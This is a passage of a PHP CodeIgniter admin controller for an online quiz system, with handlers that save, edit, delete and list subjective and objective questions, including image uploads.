                            'qb_added_on' => date("Y-m-d H:i:s"),
                            'qb_added_by' => $this->session->userdata("adminData")["smember_id"],
                            'qb_updated_on' => date("Y-m-d H:i:s"),
                            'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        ));
                    }
                } else {
                    for ($i = 0; $i < sizeof($questions); $i++) {
                        array_push($qestionsInfo, array(
                            'qb_question' => addslashes($questions[$i]),
                            'qb_marks' => addslashes($questionMarks[$i]),
                            'stm_id' => trim($this->input->post('subjectTopic')),
                            'qb_ques_type_flag' => "S",
                            'qb_added_on' => date("Y-m-d H:i:s"),
                            'qb_added_by' => $this->session->userdata("adminData")["smember_id"],
                            'qb_updated_on' => date("Y-m-d H:i:s"),
                            'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        ));
                    }
                }
                $this->session->set_flashdata('genQuestionTab', 'active');
                $this->session->set_flashdata('compQuestionTab', '');
                if ($this->TaskAndQuizManagement->createNewGeneralQuestionsMulti($qestionsInfo)) {
                    $this->session->set_flashdata('successMessage', 'Subjective General Questions Saved Successfully.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving Subjective General Questiono. Try Later.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editGeneralQuestions($qb_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['questionInfo'] = $this->TaskAndQuizManagement->getGeneralQuestionInfoBy($qb_id)->result()[0];
            $this->load->view('admin/quizzes/editSubjectiveGeneralQues', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateSubjectiveGeneralQuestion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $qb_id = $this->input->post("qb_id");
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select Any Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Please Select Any Topic.'));
            $questionImageFileName = "";
            if (trim($this->input->post('qb_image')) != "") {
                $questionImageFileName = substr($this->input->post('qb_image'), strripos($this->input->post('qb_image'), "/") + 1);
            }
            if ($this->form_validation->run() == FALSE) {
                $this->editSubjectiveGeneralQuestions($qb_id);
            } else {
                $qestionsInfo = array();
                if (!empty($_FILES['imageFile']['name'])) {
                    $genSubQuesImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $genSubQuesImg['allowed_types'] = 'jpeg|jpg|png';
                    $genSubQuesImg['max_size'] = '500';
                    $genSubQuesImg['file_ext_tolower'] = TRUE;
                    $genSubQuesImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $genSubQuesImg);
                    if (!$this->upload->do_upload('imageFile')) {
                        $this->session->set_flashdata('errorMessage', "Question Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createSubjectiveGeneralQuestions();
                    } else {
                        $qestionsInfo = array(
                            'qb_id' => $qb_id,
                            'qb_question' => addslashes(trim($this->input->post("question"))),
                            'qb_marks' => addslashes(trim($this->input->post("mark"))),
                            'qb_image' => "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'],
                            'stm_id' => trim($this->input->post('subjectTopic')),
                            'qb_updated_on' => date("Y-m-d H:i:s"),
                            'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                    }
                } else {
                    if ($this->input->post("removeImage") != NULL) {
                        $qestionsInfo = array(
                            'qb_id' => $qb_id,
                            'qb_question' => addslashes(trim($this->input->post("question"))),
                            'qb_image' => NULL,
                            'qb_marks' => addslashes(trim($this->input->post("mark"))),
                            'stm_id' => trim($this->input->post('subjectTopic')),
                            'qb_updated_on' => date("Y-m-d H:i:s"),
                            'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                    } else {
                        $qestionsInfo = array(
                            'qb_id' => $qb_id,
                            'qb_question' => addslashes(trim($this->input->post("question"))),
                            'qb_marks' => addslashes(trim($this->input->post("mark"))),
                            'stm_id' => trim($this->input->post('subjectTopic')),
                            'qb_updated_on' => date("Y-m-d H:i:s"),
                            'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                    }
                }
                $this->session->set_flashdata('genQuestionTab', 'active');
                $this->session->set_flashdata('compQuestionTab', '');
                if ($this->TaskAndQuizManagement->updateGenralQuestionInfo($qestionsInfo)) {
                    if (($questionImageFileName != "" && (!empty($_FILES['imageFile']['name'])) ) || ($this->input->post("removeImage") != NULL)) {
                        if (file_exists("./assets/admin/uploads/questionBank/" . $questionImageFileName)) {
                            unlink("./assets/admin/uploads/questionBank/" . $questionImageFileName);
                        }
                    }
                    $this->session->set_flashdata('successMessage', 'Subjective General Questions Updated Successfully.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Subjective General Questiono. Try Later.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteGeneralQuestion($qb_id, $question_type) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $questionDeleteData = array(
                'qb_id' => $qb_id,
                'qb_updated_on' => date("Y-m-d H:i:s"),
                'qb_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'qb_delete_status' => 'T'
            );
            $this->session->set_flashdata('genQuestionTab', 'active');
            $this->session->set_flashdata('compQuestionTab', '');
            if ($this->TaskAndQuizManagement->updateGenralQuestionInfo($questionDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Question Deleted Successfully.');
                if ($question_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveQuestions");
                }
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Question. Try Later.');
                if ($question_type == "S") {
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                } else {
                    redirect("admin/TasksAndQuizzes/objectiveQuestions");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function getSubjectiveGeneralQuestionsBySubjectAndTopic() {
        $subjectId = $_POST['subject_id'];
        $topicIds = ($_POST['topic_id'] == "") ? array() : $_POST['topic_id'];
        $smemeber_id = $_POST['smemeber_id'];
        $gen_question_info = $this->TaskAndQuizManagement->getAllGeneralQuestionsOfUser($smemeber_id, "S", $topicIds, $subjectId)->result();
        $genQuestionList = array();
        if (sizeof($gen_question_info)) {
            for ($i = 0; $i < sizeof($gen_question_info); $i++) {
                $thisQuestionInfo = array(
                    'sqb_id' => $gen_question_info[$i]->qb_id,
                    'sqb_question' => stripslashes($gen_question_info[$i]->qb_question),
                    'sqb_image' => ($gen_question_info[$i]->qb_image == NULL || $gen_question_info[$i]->qb_image == "") ? "" : "<br><img src='" . base_url($gen_question_info[$i]->qb_image) . "' width='50%' height='50%'/>",
                    'sqb_marks' => stripslashes($gen_question_info[$i]->qb_marks)
                );
                array_push($genQuestionList, $thisQuestionInfo);
            }
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'available_question' => sizeof($gen_question_info),
                'question_list' => $genQuestionList,
                'message' => 'General Questions Available'
            );
        } else {
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'available_question' => 0,
                'question_list' => $genQuestionList,
                'message' => 'No General Questions Available Under Selected Subject/Topic.'
            );
        }
        echo json_encode($responseData);
    }

    /* Request Handlers For Subjective Comprehensive Questions */

    public function createSubjectiveComprehensiveQuestions() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $this->load->view('admin/quizzes/addSubjectiveComprehensiveQues', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewSubjectiveGroupQuestion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select Any Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Please Select Any Topic.'));
            $this->form_validation->set_rules('questionDesc', 'Question Description', 'trim|required|max_length[1000]', array('required' => 'Question Description Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createSubjectiveComprehensiveQuestions();
            } else {
                $subQuestions = $this->input->post("questions");
                $subQuestionMarks = $this->input->post("marks");
                $newSubjectiveGroupQuestionInfo = array();
                if (!empty($_FILES['imageFile']['name'])) {
                    $comphSubQuesImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $comphSubQuesImg['allowed_types'] = 'jpeg|jpg|png';
                    $comphSubQuesImg['max_size'] = '500';
                    $comphSubQuesImg['file_ext_tolower'] = TRUE;
                    $comphSubQuesImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $comphSubQuesImg);
                    if (!$this->upload->do_upload('imageFile')) {
                        $this->session->set_flashdata('errorMessage', "Question Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createSubjectiveComprehensiveQuestions();
                    } else {
                        $newSubjectiveGroupQuestionInfo = array(
                            'qg_question' => addslashes(trim($this->input->post('questionDesc'))),
                            'qg_image' => "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'],
                            'qg_marks' => $this->input->post('totalMarks'),
                            'qg_added_on' => date("Y-m-d H:i:s"),
                            'qg_added_by' => $this->session->userdata("adminData")["smember_id"],
                            'qg_updated_on' => date("Y-m-d H:i:s"),
                            'qg_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                    }
                } else {
                    $newSubjectiveGroupQuestionInfo = array(
                        'qg_question' => addslashes(trim($this->input->post('questionDesc'))),
                        'qg_marks' => $this->input->post('totalMarks'),
                        'qg_added_on' => date("Y-m-d H:i:s"),
                        'qg_added_by' => $this->session->userdata("adminData")["smember_id"],
                        'qg_updated_on' => date("Y-m-d H:i:s"),
                        'qg_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                }
                $this->db->trans_start();
                $group_id = $this->TaskAndQuizManagement->createNewQuestionGroup($newSubjectiveGroupQuestionInfo);
                $subQuestionsInfo = array();
                for ($i = 0; $i < sizeof($subQuestions); $i++) {
                    array_push($subQuestionsInfo, array(
                        'qb_question' => addslashes($subQuestions[$i]),
                        'qb_marks' => addslashes($subQuestionMarks[$i]),
                        'qg_id' => $group_id,
                        'stm_id' => trim($this->input->post('subjectTopic')),
                        'qb_ques_type_flag' => "S",
                        'qb_added_on' => date("Y-m-d H:i:s"),
                        'qb_added_by' => $this->session->userdata("adminData")["smember_id"],
                        'qb_updated_on' => date("Y-m-d H:i:s"),
                        'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    ));
                }
                $this->session->set_flashdata('genQuestionTab', '');
                $this->session->set_flashdata('compQuestionTab', 'active');
                if ($this->TaskAndQuizManagement->createNewGeneralQuestionsMulti($subQuestionsInfo)) {
                    $this->db->trans_complete();
                    $this->session->set_flashdata('successMessage', 'Subjective Group Question Created Successfully.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Subjective Group Questions. Try Later.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editSubjectiveComprehensiveQuestions($qg_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['questionInfo'] = $this->TaskAndQuizManagement->getGroupQuestionInfoBy($qg_id)->result();
            $this->load->view('admin/quizzes/editSubjectiveComprehensiveQues', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateSubjectiveGroupQuestion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $qg_id = $this->input->post("qg_id");
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select Any Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Please Select Any Topic.'));
            $this->form_validation->set_rules('questionDesc', 'Question Description', 'trim|required|max_length[1000]', array('required' => 'Question Description Can Not Be Blank.'));
            $questionImageFileName = "";
            if (trim($this->input->post('qg_image')) != "") {
                $questionImageFileName = substr($this->input->post('qg_image'), strripos($this->input->post('qg_image'), "/") + 1);
            }
            if ($this->form_validation->run() == FALSE) {
                $this->editSubjectiveComprehensiveQuestions($qg_id);
            } else {
                $subQuestions = $this->input->post("questions");
                $subQuestionMarks = $this->input->post("marks");
                if (!empty($_FILES['imageFile']['name'])) {
                    $comphSubQuesImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $comphSubQuesImg['allowed_types'] = 'jpeg|jpg|png';
                    $comphSubQuesImg['max_size'] = '500';
                    $comphSubQuesImg['file_ext_tolower'] = TRUE;
                    $comphSubQuesImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $comphSubQuesImg);
                    if (!$this->upload->do_upload('imageFile')) {
                        $this->session->set_flashdata('errorMessage', "Question Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->editSubjectiveComprehensiveQuestions($qg_id);
                    } else {
                        $subjectiveGroupQuestionInfo = array(
                            'qg_id' => $qg_id,
                            'qg_question' => addslashes(trim($this->input->post('questionDesc'))),
                            'qg_image' => "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'],
                            'qg_marks' => $this->input->post('totalMarks'),
                            'qg_updated_on' => date("Y-m-d H:i:s"),
                            'qg_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                    }
                } else {
                    if ($this->input->post("removeImage") != NULL) {
                        $subjectiveGroupQuestionInfo = array(
                            'qg_id' => $qg_id,
                            'qg_question' => addslashes(trim($this->input->post('questionDesc'))),
                            'qg_image' => NULL,
                            'qg_marks' => $this->input->post('totalMarks'),
                            'qg_updated_on' => date("Y-m-d H:i:s"),
                            'qg_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                    } else {
                        $subjectiveGroupQuestionInfo = array(
                            'qg_id' => $qg_id,
                            'qg_question' => addslashes(trim($this->input->post('questionDesc'))),
                            'qg_marks' => $this->input->post('totalMarks'),
                            'qg_updated_on' => date("Y-m-d H:i:s"),
                            'qg_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                    }
                }
                $this->db->trans_start();
                $this->TaskAndQuizManagement->updateGroupQuestionInfo($subjectiveGroupQuestionInfo);
                $subQuestionsInfo = array();
                for ($i = 0; $i < sizeof($subQuestions); $i++) {
                    array_push($subQuestionsInfo, array(
                        'qb_question' => addslashes($subQuestions[$i]),
                        'qb_marks' => addslashes($subQuestionMarks[$i]),
                        'qg_id' => $qg_id,
                        'stm_id' => trim($this->input->post('subjectTopic')),
                        'qb_ques_type_flag' => "S",
                        'qb_added_on' => date("Y-m-d H:i:s"),
                        'qb_added_by' => $this->session->userdata("adminData")["smember_id"],
                        'qb_updated_on' => date("Y-m-d H:i:s"),
                        'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    ));
                }
                $this->TaskAndQuizManagement->deleteQuestionsBy($qg_id);
                if ($this->TaskAndQuizManagement->createNewGeneralQuestionsMulti($subQuestionsInfo)) {
                    $this->db->trans_complete();
                    if (($questionImageFileName != "" && (!empty($_FILES['imageFile']['name'])) ) || ($this->input->post("removeImage") != NULL)) {
                        if (file_exists("./assets/admin/uploads/questionBank/" . $questionImageFileName)) {
                            unlink("./assets/admin/uploads/questionBank/" . $questionImageFileName);
                        }
                    }
                    $this->session->set_flashdata('genQuestionTab', '');
                    $this->session->set_flashdata('compQuestionTab', 'active');
                    $this->session->set_flashdata('successMessage', 'Subjective Group Question Updated Successfully.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Subjective Group Questiono. Try Later.');
                    redirect("admin/TasksAndQuizzes/subjectiveQuestions");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteGroupQuestion($qg_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $groupQuestionDeleteData = array(
                'qg_id' => $qg_id,
                'qg_updated_on' => date("Y-m-d H:i:s"),
                'qg_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'qg_delete_status' => 'T'
            );
            $this->session->set_flashdata('genQuestionTab', '');
            $this->session->set_flashdata('compQuestionTab', 'active');
            if ($this->TaskAndQuizManagement->updateGroupQuestionInfo($groupQuestionDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Group Question Deleted Successfully.');
                redirect("admin/TasksAndQuizzes/subjectiveQuestions");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Group Question. Try Later.');
                redirect("admin/TasksAndQuizzes/subjectiveQuestions");
            }
        } else {
            redirect("admin/");
        }
    }

    public function getSubjectiveGroupQuestionsBySubjectAndTopic() {
        $subjectId = $_POST['subject_id'];
        $topicIds = ($_POST['topic_id'] == "") ? array() : $_POST['topic_id'];
        $smemeber_id = $_POST['smemeber_id'];
        $group_question_info = $this->TaskAndQuizManagement->getAllGroupQuestionsOfUser($smemeber_id, "S", $topicIds, $subjectId)->result();
        $groupQuestionList = array();
        if (sizeof($group_question_info)) {
            $thisGroupQuestion = "";
            $srno = 0;
            for ($i = 0; $i < sizeof($group_question_info); $i++) {
                $record = $group_question_info[$i];
                $tempGroupQuestion = "";
                $tempGroupMarks = "";
                $tempGroupImage = "";
                $tempSrno = "";
                if ($thisGroupQuestion != $record->qg_question) {
                    $thisGroupQuestion = $record->qg_question;
                    $tempGroupQuestion = $record->qg_question;
                    $tempGroupMarks = $record->qg_marks;
                    $tempGroupImage = ($record->qg_image == NULL || $record->qg_image == "") ? "" : "<br><img src='" . base_url($record->qg_image) . "' width='25%' height='50%'/>";
                    $tempSrno = ++$srno;
                } else {
                    $tempGroupQuestion = "";
                    $tempGroupMarks = "";
                    $tempGroupImage = "";
                    $tempSrno = "";
                }
                $thisQuestionInfo = array(
                    'sqg_id' => $record->qg_id,
                    'srno' => $tempSrno,
                    'sqg_question' => stripslashes($tempGroupQuestion),
                    'sqg_marks' => $tempGroupMarks,
                    'sqg_image' => $tempGroupImage,
                    'sub_questions' => array(
                        'sqb_id' => $record->qb_id,
                        'sqb_question' => stripslashes($record->qb_question),
                        'sqb_marks' => $record->qb_marks
                    )
                );
                array_push($groupQuestionList, $thisQuestionInfo);
            }
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'available_question' => sizeof($groupQuestionList),
                'question_list' => $groupQuestionList,
                'message' => 'Group Questions Available'
            );
        } else {
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'available_question' => 0,
                'question_list' => $groupQuestionList,
                'message' => 'No Group Questions Available Under Selected Subject/Topic.'
            );
        }
        echo json_encode($responseData);
    }

    /* Request Handlers For Objective General Questions */

    public function objectiveQuestions() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['objectiveGenQuestion'] = $this->TaskAndQuizManagement->getAllGeneralQuestionsOfUser($this->session->userdata("adminData")['smember_id'], "O")->result();
            $this->load->view("admin/quizzes/objectiveQuestions", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createObjectiveQuestion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $this->load->view('admin/quizzes/addObjectiveGeneralQues', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewObjectiveGeneralQuestion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select Any Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Please Select Any Topic.'));
            $this->form_validation->set_rules('question', 'Question', 'trim|required|max_length[1000]', array('required' => 'Question Can Not Be Blank.'));
            $this->form_validation->set_rules('questionMarks', 'Marks', 'trim|required|numeric', array('required' => 'Marks Can Not Be Blank.'));
            $this->form_validation->set_rules('questionNegMarks', 'Negative Marks', 'trim|required|numeric', array('required' => 'Negative Marks Can Not Be Blank.'));
            $this->form_validation->set_rules('correctAnswer', 'Correct Question', 'trim|required', array('required' => 'Please Select Correct Answer Option.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createObjectiveQuestion();
            } else {
                $objectiveGenQestionInfo = array(
                    'qb_question' => addslashes(trim($this->input->post("question"))),
                    'qb_marks' => $this->input->post("questionMarks"),
                    'qb_negative_marks' => $this->input->post("questionNegMarks"),
                    'stm_id' => trim($this->input->post('subjectTopic')),
                    'qb_ques_type_flag' => "O",
                    'qb_opt_a' => addslashes(trim($this->input->post('option_a'))),
                    'qb_opt_b' => addslashes(trim($this->input->post('option_b'))),
                    'qb_opt_c' => addslashes(trim($this->input->post('option_c'))),
                    'qb_opt_d' => addslashes(trim($this->input->post('option_d'))),
                    'qb_correct_opt' => addslashes(trim($this->input->post('correctAnswer'))),
                    'qb_added_on' => date("Y-m-d H:i:s"),
                    'qb_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'qb_updated_on' => date("Y-m-d H:i:s"),
                    'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $this->load->library('upload');
                if (!empty($_FILES['imageFile']['name'])) {
                    $genObjQuesImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $genObjQuesImg['allowed_types'] = 'jpeg|jpg|png';
                    $genObjQuesImg['max_size'] = '500';
                    $genObjQuesImg['file_ext_tolower'] = TRUE;
                    $genObjQuesImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($genObjQuesImg);
                    if (!$this->upload->do_upload('imageFile')) {
                        $this->session->set_flashdata('errorMessage', "Question Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['qb_image'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                }
                if (!empty($_FILES['option_a_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_a_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'A' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['qb_opt_a_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                }
                if (!empty($_FILES['option_b_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_b_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'B' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['qb_opt_b_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                }
                if (!empty($_FILES['option_c_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_c_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'C' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['qb_opt_c_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                }
                if (!empty($_FILES['option_d_img']['name'])) {
                    $optionAImg['upload_path'] = './assets/admin/uploads/questionBank/';
                    $optionAImg['allowed_types'] = 'jpeg|jpg|png';
                    $optionAImg['max_size'] = '500';
                    $optionAImg['file_ext_tolower'] = TRUE;
                    $optionAImg['encrypt_name'] = TRUE;
                    $this->upload->initialize($optionAImg);
                    if (!$this->upload->do_upload('option_d_img')) {
                        $this->session->set_flashdata('errorMessage', "Option 'C' Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                        $this->createObjectiveQuestion();
                    } else {
                        $objectiveGenQestionInfo['qb_opt_d_img'] = "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'];
                    }
                }
                if ($this->TaskAndQuizManagement->createNewGeneralQuestion($objectiveGenQestionInfo)) {
                    $this->session->set_flashdata('successMessage', 'Objective Questions Saved Successfully');
                    if ($this->input->post("saveAndMove") !== null) {
                        redirect("admin/TasksAndQuizzes/objectiveQuestions");
                    } else {
                        $this->session->set_flashdata('selectedCourse', $this->input->post("subjectCourse"));
                        $this->session->set_flashdata('selectedSubject', $this->input->post("subject"));
                        $this->session->set_flashdata('selectedTopic', $this->input->post("subjectTopic"));
                        redirect("admin/TasksAndQuizzes/createObjectiveQuestion");
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Saving Objective Question. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editObjectiveGeneralQuestion($qb_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['questionInfo'] = $this->TaskAndQuizManagement->getGeneralQuestionInfoBy($qb_id)->result()[0];
            $this->load->view('admin/quizzes/editObjectiveGeneralQues', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateObjectiveGeneralQuestion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $qb_id = $this->input->post("qb_id");
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select Any Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Please Select Any Topic.'));
            $this->form_validation->set_rules('question', 'Question', 'trim|required|max_length[1000]', array('required' => 'Question Can Not Be Blank.'));
            $this->form_validation->set_rules('questionMarks', 'Marks', 'trim|required|numeric', array('required' => 'Marks Can Not Be Blank.'));
            $this->form_validation->set_rules('questionNegMarks', 'Negative Marks', 'trim|required|numeric', array('required' => 'Negative Marks Can Not Be Blank.'));
            $this->form_validation->set_rules('correctAnswer', 'Correct Question', 'trim|required', array('required' => 'Please Select Correct Answer Option.'));
            $questionImageFileName = "";
            $optionAImageFileName = "";
            $optionBImageFileName = "";
            $optionCImageFileName = "";
            $optionDImageFileName = "";
            if (trim($this->input->post('qb_image')) != "") {
                $questionImageFileName = substr($this->input->post('qb_image'), strripos($this->input->post('qb_image'), "/") + 1);
            }
            if (trim($this->input->post('oqb_opt_a_image')) != "") {
                $optionAImageFileName = substr($this->input->post('oqb_opt_a_image'), strripos($this->input->post('oqb_opt_a_image'), "/") + 1);
            }
            if (trim($this->input->post('oqb_opt_b_image')) != "") {
                $optionBImageFileName = substr($this->input->post('oqb_opt_b_image'), strripos($this->input->post('oqb_opt_b_image'), "/") + 1);
            }
            if (trim($this->input->post('oqb_opt_c_image')) != "") {
                $optionCImageFileName = substr($this->input->post('oqb_opt_c_image'), strripos($this->input->post('oqb_opt_c_image'), "/") + 1);
            }
            if (trim($this->input->post('oqb_opt_d_image')) != "") {
                $optionDImageFileName = substr($this->input->post('oqb_opt_d_image'), strripos($this->input->post('oqb_opt_d_image'), "/") + 1);
            }
            if ($this->form_validation->run() == FALSE) {
                $this->editObjectiveGeneralQuestion($qb_id);
            } else {
                $objectiveGenQestionInfo = array(
                    'qb_id' => $qb_id,
                    'qb_question' => addslashes(trim($this->input->post("question"))),
                    'qb_marks' => $this->input->post("questionMarks"),
                    'qb_negative_marks' => $this->input->post("questionNegMarks"),
                    'stm_id' => trim($this->input->post('subjectTopic')),
                    'qb_opt_a' => addslashes(trim($this->input->post('option_a'))),
                    'qb_opt_b' => addslashes(trim($this->input->post('option_b'))),
                    'qb_opt_c' => addslashes(trim($this->input->post('option_c'))),
